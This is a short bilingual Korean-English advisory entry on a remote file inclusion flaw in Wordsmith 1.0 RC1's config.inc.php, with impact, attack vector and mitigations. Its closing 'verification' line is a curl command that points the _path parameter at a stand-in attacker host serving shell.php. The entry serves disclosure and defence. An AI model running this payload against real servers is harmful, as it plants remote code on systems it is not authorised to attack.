🇰🇷 한글 설명
PHP의 register_globals 설정이 활성화된 Wordsmith 1.0 RC1의 config.inc.php 파일에서 발생하는 원격 파일 포함(RFI) 취약점입니다. 공격자가 _path 파라미터를 통해 악의적인 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
낡은 PHP 웹 애플리케이션에서 공격자가 외부 파일을 로드하여 악성 코드를 실행할 수 있는 보안 결함입니다. 이를 악용하면 웹 서버의 모든 권한으로 공격자가 명령을 실행할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in config.inc.php in Wordsmith 1.0 RC1, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the _path parameter.
📍 영향받는 시스템
Wordsmith 1.0 RC1 (register_globals 활성화된 PHP 환경)
⚔️ 공격 벡터
_path 파라미터에 원격 PHP 파일 URL을 전달하여 RFI(Remote File Inclusion) 공격 수행
🛡️ 대응 방법
Wordsmith를 최신 버전으로 업그레이드하거나, PHP의 register_globals를 비활성화하고, allow_url_include를 OFF로 설정
🔧 검증 코드
취약한 서버는 원격 파일을 포함하려 시도하고 에러나 실행 결과가 반환됩니다. 정상 서버는 접근이 제한되거나 관련 내용이 없습니다.
curl -s http://target/config.inc.php?_path=http://attacker.com/shell.php 2>/dev/null | grep -i 'error\|warning\|executed'